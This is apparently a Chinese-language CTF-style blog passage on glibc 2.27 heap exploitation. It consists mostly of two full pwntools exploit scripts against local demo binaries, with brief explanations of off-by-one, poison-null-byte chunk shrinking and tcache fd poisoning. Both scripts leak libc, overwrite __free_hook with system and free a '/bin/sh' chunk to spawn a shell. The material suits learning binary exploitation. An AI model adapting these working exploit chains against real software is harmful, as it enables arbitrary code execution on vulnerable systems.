1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859from pwn import *context.log_level = 'debug'p = process('./demo1')libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def cmd(a): p.recvuntil('5.exit') p.sendline(str(a))def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index))def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))alloc(0,0x18,b'a')alloc(1,0x418,b'b')alloc(2,0x28,b'c')alloc(3,0x28,b'd')edit(0,0x19,p64(0)*3+p8(0x51))free(1)alloc(4,0x448,b'\xa0')show(4)leak_libc = u64(p.recv(6).ljust(8,b"\x00"))libc_base = leak_libc - 0x3ebca0 # main+96和libc起始位置偏移free_hook = libc_base + libc.symbols['__free_hook']system = libc_base + libc.symbols['system']print(hex(leak_libc))free(2)edit(4,0x448,b'a'*0x418+p64(0x31)+p64(free_hook))alloc(5,0x28,b'/bin/sh')alloc(6,0x28,p64(system))free(5)p.interactive()#pause()
利用3: 收缩被释放块 poison null byte 权威指南里面的图,还不错
总的俩说还是造成堆块重叠
博主的图,也不错,不过最后好像少了一块,进行了补全
free 5之前
free之后tcachebin 0x50多了一项,此时利用edit修改fd,就可以实现任意地址写
修改fd后,此时就可以修改hook指针getshell
exp
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475from pwn import *context.log_level = 'debug'p = process('./demo')libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def cmd(a): p.recvuntil('5.exit') p.sendline(str(a))def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index))def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))alloc(1,0x18,b'a')alloc(2,0x100,b'b')alloc(3,0x80,b'c')alloc(4,0x10,b'd')edit(2,0x100,b'\x00' * 0xf0 + p64(0x100))#这里写一个0x100是为了绕过检查,因为之前的0x111被改成了0x100#ptmalloc会根据nextchunk的prev_size字段检查是否大小匹配。这里写入0x100的地方正好是利用off-by-null漏洞后nextchunk的prev_size字段。for i in range(9,16): alloc(i,0x108,b'p')for i in range(9,16): free(i)# tcache填充 free(2)edit(1,0x19,b'A' * 0x18 + p8(0))alloc(2,0x80,'d')alloc(5,0x40,'e')for i in range(17,24): alloc(i,0x88,b'p')for i in range(17,24): free(i)# 让2 free到unsortedbin里free(2)free(3) # 与之前残留的0x110一起合并 注意这个3的位置 0x90+0x110 =0x1a0 alloc(6,0xa0,b'\xa0')free(5) # 这里也很关键,再次释放5,5又与前面的2组合为show(6)leak_libc = u64(p.recv(6).ljust(8,b'\x00'))print(hex(leak_libc))libc_base = leak_libc - 0x00007f74b3a5cca0 + 0x7f74b3671000 - 0x200free_hook = libc_base + libc.symbols['__free_hook']system = libc_base + libc.symbols['system']edit(6,0xa0,p8(0) * 0x80 + p64(0x90) + p64(0x50) + p64(free_hook))pause()alloc(7,0x40,b'/bin/sh\x00')alloc(8,0x40,p64(system))free(7)#log.success(hex(libc_base))#gdb.attach(p)#pause()p.interactive()
问题libc.symbols 覆盖的到底是什么呢?